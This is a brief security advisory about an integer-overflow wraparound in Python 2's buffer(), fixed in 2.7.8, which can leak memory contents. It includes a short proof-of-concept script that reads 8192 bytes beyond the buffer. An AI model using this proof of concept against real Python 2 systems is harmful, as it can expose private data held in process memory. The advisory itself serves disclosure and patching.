python2: Information leakage through integer overflow

It was reported that Python 2.7.8 fixes a potential wraparound in
buffer() with possible CWE-200 implications. This could allow an
attacker to access private information through information leakage.

PoC:

— overflow.py —
import sys
a = bytearray(‘here be dragons’)
b = buffer(a, sys.maxsize, sys.maxsize)
print b[:8192]